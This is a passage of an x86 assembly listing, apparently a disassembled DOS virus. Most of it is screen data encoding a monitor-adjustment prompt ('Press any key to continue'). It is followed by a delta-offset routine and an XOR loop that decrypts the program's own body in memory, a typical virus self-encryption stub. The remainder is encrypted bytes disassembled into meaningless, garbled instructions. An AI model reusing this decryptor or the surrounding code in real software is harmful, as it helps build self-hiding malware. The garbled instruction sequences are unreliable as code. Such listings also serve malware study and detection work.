67H, 0FH, 68H + DB 0FH, 74H, 0FH, 6EH, 0FH, 65H + DB 0FH, 73H, 0FH, 73H, 0FH, 20H + DB 0FH, 61H, 0FH, 6EH, 0FH, 64H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 63H + DB 0FH, 6FH, 0FH, 6EH, 0FH, 74H + DB 0FH, 72H, 0FH, 61H, 0FH, 73H + DB 0FH, 74H, 0FH, 20H, 0FH, 6BH + DB 0FH, 6EH, 0FH, 6FH, 0FH, 62H + DB 0FH, 73H, 0FH, 20H, 0FH, 6FH + DB 0FH, 6EH, 0FH, 20H, 0FH, 79H + DB 0FH, 6FH, 0FH, 75H, 0FH, 72H + DB 0FH, 20H, 0FH, 6DH, 0FH, 6FH + DB 0FH, 6EH, 0FH, 69H, 0FH, 74H + DB 0FH, 6FH, 0FH, 72H, 0FH, 20H + DB 0FH, 75H, 0FH, 6EH, 0FH, 74H + DB 0FH, 69H, 0FH, 6CH, 0FH, 20H + DB 0FH, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 61H, 0FH, 20H + DB 0FH, 62H, 0FH, 6FH, 0FH, 78H + DB 0FH, 20H, 0FH, 61H, 0FH, 70H + DB 0FH, 70H, 0FH, 65H, 0FH, 61H + DB 0FH, 72H, 0FH, 73H, 0FH, 20H + DB 0FH, 61H, 0FH, 72H, 0FH, 6FH + DB 0FH, 75H, 0FH, 6EH, 0FH, 64H + DB 0FH, 20H, 0FH, 74H, 0FH, 68H + DB 0FH, 69H, 0FH, 73H, 0FH, 20H + DB 0FH, 74H, 0FH, 65H, 0FH, 78H + DB 0FH, 74H, 0FH, 2EH, 0FH, 20H + DB 0FH, 20H, 0FH, 54H, 0FH, 68H + DB 0FH, 65H, 0FH, 20H, 0FH, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 74H, 0FH, 65H, 0FH, 78H + DB 0FH, 74H, 0FH, 20H, 0FH, 73H + DB 0FH, 68H, 0FH, 6FH, 0FH, 75H + DB 0FH, 6CH, 0FH, 64H, 0FH, 20H + DB 0FH, 62H, 0FH, 65H, 0FH, 20H + DB 0FH, 62H, 0FH, 72H, 0FH, 69H + DB 0FH, 67H, 0FH, 68H, 0FH, 74H + DB 0FH, 65H, 0FH, 72H, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 61H + DB 0FH, 6EH, 0FH, 20H, 0FH, 74H + DB 0FH, 68H, 0FH, 65H, 0FH, 20H + DB 0FH, 62H, 0FH, 6FH, 0FH, 78H + DB 0FH, 2EH, 0FH, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0C8H, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0BCH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 50H, 07H, 72H + DB 07H, 65H, 07H, 73H, 07H, 73H + DB 07H, 20H, 07H, 61H, 07H, 6EH + DB 07H, 79H, 07H, 20H, 07H, 6BH + DB 07H, 65H, 07H, 79H, 07H, 20H + DB 07H, 74H, 07H, 6FH, 07H, 20H + DB 07H, 63H, 07H, 6FH, 07H, 6EH + DB 07H, 74H, 07H, 69H, 07H, 6EH + DB 07H, 75H, 07H, 65H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 01H +LOC_31: + CLI ; Disable interrupts + MOV BP,SP + CALL SUB_6 ; (24E7) + +; +; SUBROUTINE +; + +SUB_6 PROC NEAR + POP BX + SUB BX,131H + TEST BYTE PTR CS:COPYRIGHT+8[BX],1 ; (97DE:012A=74H) + JZ $+11H ; Jump if zero + LEA SI,[BX+14DH] ; Load effective addr + MOV SP,682H +LOC_32: + XOR [SI],SI + XOR [SI],SP + INC SI + DEC SP + JNZ LOC_32 ; Jump if not zero + OR AL,[BP+DI+4DH] + ADC AX,56CAH + PUSH DI + CLD ; Clear direction + POP SP + PUSH SI + PUSH SI + MOV BL,5CH ; '\' + INC SP + INC SI + INC DX + ADC WORD PTR DS:[0AA46H][BX+DI],DI ; (97DE:AA46=0FFFFH) + XLAT ; al=[al+[bx]] table + INC BP + XCHG AX,DI + PUSH AX + POP SS + INC DX + JGE $+5AH ; Jump if > or = + POP DX + DB 66H, 46H, 62H, 00H, 74H, 63H + DB 3AH, 21H, 6BH, 38H,0C9H,0B2H + DB 75H, 56H, 5AH,0B3H, 00H + DB 4FH, 42H, 42H, 46H, 46H +LOC_33: + POP DX + PUSH DX + PUSH SI + PUSH SI + PUSH DX + PUSH DX + DB 60H, 57H,0BEH, 5BH,0C2H + DB 27H, '""', 27H, '&&}YVRRVVZ[FFVVR' + DB 'R' + DB 0B2H, 5AH, 56H, 0DH,0D3H,0B9H + DB 0F5H, 57H, 74H,0D6H,0E9H, 32H + DB 63H, 4CH,0EFH,0E1H, 0CH, 5BH + DB 78H,0DDH,0D5H, 0AH, 57H,0F5H + DB 5AH, 5BH, 68H,0CCH,0C5H, 18H + DB 47H,0E4H, 58H, 5BH, 05H,0E2H + DB 62H, 9FH, 77H, 0DH, 66H, 58H + DB 0D4H,0B7H, 1AH, 5DH,0EDH +LOC_34: + XCHG AX,BP + MOVSW ; Mov [si] to es:[di] + DB 6AH,0A3H, 98H, 70H,0D0H,0AAH + DB 0FFH, 0CH, 2CH, 4AH, 37H, 57H + DB 0BAH, 5BH, 42H, 77H,0D2H,0D2H + DB 03H, 50H, 7FH,0AAH,0FAH, 0BH + DB 58H, 36H,0DDH +LOC_35: + INC AX + PUSH SP + TEST AL,44H ; 'D' + RCR BYTE PTR [BP+SI+7B0EH],CL ; Rotate thru carry + ESC 0,DH ; coprocessor escape + XOR AL,54H ; 'T' + JA LOC_34 ; Jump if above + RETN 4026H +SUB_6 ENDP + + STC ; Set carry flag + INC BP + MOV CH,0D7H + CWD ; Word to double word +;* JMP FAR PTR LOC_1 ;*(68D0:B15D) + DB 0EAH, 5DH,0B1H,0D0H, 68H + PUSH SS + PUSH SS + SUB AL,3EH ; '>' + MOVSB ; Mov [si] to es:[di] + POP SP + AND SI,[DI+77H] + SUB AL,4DH ; 'M' + DB 0D4H, 28H, 55H, 7FH, 75H, 20H + DB 54H,0D8H, 38H, 43H, 08H, 03H + DB 30H, 43H,0DAH, 24H, 5DH, 18H + DB 25H,0E6H,0EDH, 2EH, 59H,0D5H + DB 0A8H, 28H,0EFH,0A4H, 4BH,0EEH + DB 6FH, 4FH, 55H, 73H,0D8H, 67H + DB 54H, 55H, 7FH,0D2H, 53H, 46H + DB 41H, 67H,0E6H, 46H, 59H, 7FH + DB 93H, 53H, 51H, 51H, 18H, 7EH + DB 89H, 13H,0E0H,0A5H, 4AH,0E7H + DB 28H, 63H, 09H,0EEH, 06H,0DDH + DB 'w', 0DH, 'i@Q' + DB 15H,0CFH,0F9H, 88H, 5DH,0D1H + DB 0A1H,0EFH,0F7H, 54H,0ABH,0A5H + DB 0FEH, 5CH,0EBH,0E9H, 12H, 60H + DB 37H,0ADH, 74H,0D6H,0D9H, 02H + DB 53H,0DFH,0D9H, 7CH, 5BH,0A9H + DB 0E2H, 68H,0CEH, 4CH, 70H, 46H + DB 17H,0D4H, 93H, 70H,0DBH + DB 'DUV| &"x' + DB 00H,0AAH, 54H +LOC_36: + POP BX + PUSH SI + ADC BX,SP + XCHG AX,DI + DEC AX + PUSH CX + PUSH SP + INC BP + RETF ; Return far + DB 0F1H, 68H, 43H,0F9H, 46H, 5BH + DB 0E3H,0F3H, 50H,0AEH,0A1H,0F2H + DB 50H,0D7H, 5CH,0E2H, 64H, 32H + DB 0A9H + DB 'H\vVVR|' + DB 0DAH, 58H, 4CH, 5AH, 58H,0CBH + DB 54H, 5EH, 45H, 48H, 45H,0E2H + DB 77H, 73H, 9FH, 73H, 49H,0E2H + DB 40H,0E0H, 26H,0A6H, 6FH, 83H + DB 4EH, 55H, 5BH,0EFH, 7DH, 9AH + DB 72H,0D2H,0AEH, 93H, 5CH, 2CH + DB 22H, 33H, 69H,0C2H,0BEH,0FBH + DB 5CH, 2EH, 0AH, 49H,0EBH, 7BH + DB 62H, 9AH, 7AH, 75H,0EEH, 79H + DB 58H, 62H, 49H,0EBH, 5DH, 66H + DB 56H,0EFH, 7BH, 76H,0EDH + DB 'u\UXb\i' + DB 0C7H, 55H, 0CH, 56H, 5FH,0B8H + DB 55H,0C7H,0D7H,0A5H, 51H, 55H + DB 13H,0CBH, 5EH, 25H, 9FH, 43H + DB 4EH,0BFH,0D3H, 52H, 13H, 79H + DB 0F4H, 05H, 5AH, 69H,0E4H + DB '#Bi]?VVS' + DB 0EBH, 4BH, 62H, 96H, 7AH, 49H + DB 0EEH, 7DH, 50H, 66H, 49H,0D7H + DB 5DH, 62H, 56H, 4DH,0EBH, 4BH + DB 72H,0E1H,0E6H, 41H, 49H, 5CH + DB 8EH, 66H, 58H,0E0H, 8DH,0A8H + DB 0BEH,0C4H,0ADH,0D7H,0ABH, 10H + DB 2FH,0B7H, 88H, 5DH, 8CH, 91H + DB 0A7H,0E5H,0F0H, 03H, 78H, 96H + DB 54H, 61H, 57H,0D6H, 90H, 89H + DB 7AH,0BDH, 36H,0B7H, 7AH, 5AH + DB 2FH,0BEH,0CAH, 02H, 01H, 07H + DB 04H, 0CH, 0DH, 33H, 60H, 7CH + DB 4CH,0EFH, 70H, 1DH, 5BH, 78H + DB 0DAH, 4CH, 1BH, 57H, 58H, 5DH + DB 0E2H, 46H, 7BH, 8FH, 63H, 34H + DB 10H,0D1H, 82H,0EEH, 56H, 05H + DB 9FH, 77H, 78H,0D3H, 4CH, 65H + DB 27H, 0CH,0ABH, 28H, 63H, 5BH + DB 0EEH, 69H, 58H, 4DH,0E8H, 78H + DB 57H,0E3H + DB 'YFc0q}/e' + DB 0EEH, 50H, 10H, 65H, 9FH, 69H + DB 88H,0ABH, 47H, 4CH,0C1H, 2DH + DB 67H, 74H,0D3H, 40H, 1BH, 53H + DB 0E6H, 68H, 9BH, 7BH, 74H,0C7H + DB 78H, 6CH, 43H, 0BH, 1CH, 2FH + DB 59H,0BFH, 91H, 52H, 7CH,0D5H + DB 68H, 17H, 5BH,0A6H,0D1H,0ABH + DB 8CH, 27H, 98H, 11H, 5CH, 6AH + DB 0A8H, 23H, 56H,0B8H,0E2H, 5DH + DB 73H,0C1H, 7FH, 6BH, 44H,0A8H + DB 34H, 53H, 73H,0F0H, 1AH, 54H + DB 50H, 08H,0A8H, 73H, 66H, 67H + DB 4EH, 64H, 11H, 86H,0D9H, 5DH + DB 1EH, 7FH, 94H, 43H, 12H, 50H + DB 9CH, 7CH, 2FH, 9AH, 6FH,0CCH + DB 4BH, 00H, 40H,0DDH,0ACH, 71H + DB 0A7H, 94H, 72H, 25H, 58H,0E5H + DB 5CH, 62H, 12H,0ECH,0E8H, 00H + DB 53H, 98H,0E5H, 53H, 6CH, 98H + DB 74H, 23H,0EFH,0D6H, 85H,0F9H + DB 43H, 07H, 76H, 88H, 72H, 8FH + DB 90H, 70H,0B9H, 05H, 56H, 22H + DB 49H,0E5H, 5DH, 23H, 4FH,0EEH + DB 6BH, 2CH, 60H, 73H,0D6H, 47H + DB 1AH, 54H, 98H, 70H,0E5H, 1DH + DB 6EH, 88H, 8CH, 64H,0AEH, 60H + DB 0D1H,0E5H, 5DH, 13H, 62H, 9CH + DB 66H, 83H, 9CH, 7CH, 2FH,0B4H + DB 80H, 0BH,0E1H,0AFH,0ABH,0ACH + DB 0ADH, 70H,0FDH, 0AH, 5BH,0EAH + DB 1EH,0E8H, 1DH, 4FH,0F7H, 49H + DB 4AH, 83H, 6FH,0EAH, 53H, 09H + DB 70H,0D1H, 4CH, 1DH, 5FH, 7CH + DB 0D9H, 60H, 2BH, 6BH,0A7H, 4FH + DB 0DAH, 6CH, 9FH, 7FH, 70H,0D1H + DB 54H, 1FH, 5FH,0A4H, 93H, 49H + DB 3BH, 4FH,0BCH, 8FH, 6EH, 27H + DB 58H,0E6H, 5FH, 19H, 74H, 9BH + DB 48H, 15H, 53H,0E3H, 0FH, 35H + DB 2DH, 73H, 71H, 0CH, 08H, 07H + DB 05H, 02H,0C7H,0B7H,0ECH,0ACH + DB 4CH, 40H, 51H, 19H, 1BH, 1CH + DB 1EH,0EBH, 55H, 5EH,0E5H, 2EH + DB 5BH,0A1H, 69H,0D9H, 15H, 90H + DB 7FH + DB 'm!%', 0AH, 'OY' + DB 0D1H, 4DH, 06H, 55H, 92H, 26H + DB 4CH,0B9H,0A8H,0C1H, 8CH, 14H + DB 0BH, 09H, 41H, 9DH, 44H, 5CH + DB 08H, 09H, 03H, 5CH,0A9H, 17H + DB 0EAH,0AAH, 20H, 77H,0EDH, 35H + DB 5EH,0E1H, 37H, 5BH,0E6H, 57H + DB 53H,0AFH,0BCH,0EAH, 12H, 14H + DB 